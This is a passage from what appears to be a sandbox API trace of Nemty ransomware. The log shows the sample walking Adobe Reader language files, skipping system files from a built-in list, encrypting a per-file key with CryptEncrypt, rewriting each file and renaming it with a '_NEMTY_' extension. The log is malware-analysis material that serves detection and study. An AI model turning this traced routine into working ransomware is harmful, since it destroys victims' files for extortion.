[0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="bootmgr") returned 1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="programdata") returned -1 [0214.801] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2="appdata") returned 1 [0214.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_QA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_QA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_QA.txt", lpUsedDefaultChar=0x0) returned 30 [0214.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_QA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_QA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_QA.txt", lpUsedDefaultChar=0x0) returned 30 [0214.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_QA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_QA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_QA.txt", lpUsedDefaultChar=0x0) returned 30 [0214.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_QA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_QA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_QA.txt", lpUsedDefaultChar=0x0) returned 30 [0214.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.802] Sleep (dwMilliseconds=0x5) [0214.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33ac9910, dwHighDateTime=0x1d561e8)) [0214.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33ac9910, dwHighDateTime=0x1d561e8)) [0214.810] GetLastError () returned 0x0 [0214.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.810] GetLastError () returned 0x0 [0214.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.810] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.810] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.810] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0214.810] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="IQ7p+H8fuLRLoEHiHmtoxjQbfIMCZyDjAqI6XnLqL3+WoKVCeDF6rkMz38a9Yd6e\r\nvOHmzyghIeDkwLZtfmevFu3RdmeqSSSnBG02wIvzuf5OsgZpl4MiEvStuQv6obGO\r\nQa2FF0Q1h8uRDVflxlF61cToj3XEQOmL6XOMBC3mh5yrQ7oxK+v5N2tzHJXHqizj\r\nbSe0iZlznK9AmbXSscJgzxiY9CzLJATQIQFs1oPmq53DYHqKA3UYlhHMrTzDdFem\r\n7HofK3GzNNeE2X0sAe5dKtHjhQ48VGz1HCxQHC1dIkAcm8Jc9CfP7aJ+Il4y2N50\r\nLaq6VVAzeKLjrFXILkNgvg==\r\n", pcchString=0x653e5dc) returned 1 [0214.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0214.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.811] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_QA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_qa.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.812] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27798) returned 1 [0214.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c90) returned 0x6352c48 [0214.812] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.812] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c90, lpOverlapped=0x0) returned 1 [0214.815] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.815] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c90, lpOverlapped=0x0) returned 1 [0214.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.816] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27798, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c96 [0214.816] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.816] CloseHandle (hObject=0x2e8) returned 1 [0214.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.816] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_QA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_qa.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_QA.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_qa.txt._nemty_kgobjgd_")) returned 1 [0214.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.817] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ar_SA.txt", cAlternateFileName="DI48AF~1.TXT")) returned 1 [0214.817] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2=".") returned 1 [0214.817] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="..") returned 1 [0214.817] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="...") returned 1 [0214.817] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="windows") returned -1 [0214.817] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.817] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="rsa") returned -1 [0214.817] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="NTDETECT.COM") returned -1 [0214.817] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="ntldr") returned -1 [0214.817] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="MSDOS.SYS") returned -1 [0214.817] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="IO.SYS") returned -1 [0214.817] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="boot.ini") returned 1 [0214.817] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="boot.ini") returned 1 [0214.817] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.817] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="ntuser.dat") returned -1 [0214.818] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="desktop.ini") returned 1 [0214.818] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="CONFIG.SYS") returned 1 [0214.818] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="RECYCLER") returned -1 [0214.818] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.818] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="bootmgr") returned 1 [0214.818] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="programdata") returned -1 [0214.818] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2="appdata") returned 1 [0214.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_SA.txt", lpUsedDefaultChar=0x0) returned 30 [0214.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_SA.txt", lpUsedDefaultChar=0x0) returned 30 [0214.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_SA.txt", lpUsedDefaultChar=0x0) returned 30 [0214.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_SA.txt", lpUsedDefaultChar=0x0) returned 30 [0214.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.818] Sleep (dwMilliseconds=0x5) [0214.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33aefa70, dwHighDateTime=0x1d561e8)) [0214.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33aefa70, dwHighDateTime=0x1d561e8)) [0214.826] GetLastError () returned 0x0 [0214.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.826] GetLastError () returned 0x0 [0214.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.826] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.826] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.826] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0214.826] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="Zvs7jeRRGPtseL1VtHH5Egxwv7jLnjzpHkZo5l5z7pprkICEMtZowfc6hgVgVHDe\r\nTxqQBxocu0T+qDuiLBj2dR9kAUJ5tzvDYjqmHfzuonevb2tTsdKIPZKJVP5+fKxz\r\n/vp1U5j35Pk7BM5WbzOHezXKynouCzLeQZU5QJ92m4qwcHkIuHQOm0tWYh/4Q0Jr\r\nfF+PvxbK745ihQvddpBepAmR5ZpgHG8y6Vb7g1W/Y7k457sY9UGR4dYojSCMtQww\r\ndXLBtYrPjeJAuO/UbVWUiRnlwm5L8NxwAGS3WVz7WwRlUHSon3/L8VQrrwgmkTlo\r\nlWpP+BtoAW0X5gi5g2HWsQ==\r\n", pcchString=0x653e5dc) returned 1 [0214.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0214.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.827] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sa.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.827] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27798) returned 1 [0214.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c90) returned 0x6352c48 [0214.827] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.827] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c90, lpOverlapped=0x0) returned 1 [0214.830] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.830] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c90, lpOverlapped=0x0) returned 1 [0214.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.831] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27798, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c96 [0214.831] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.831] CloseHandle (hObject=0x2e8) returned 1 [0214.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.831] RtlAllocateHeap 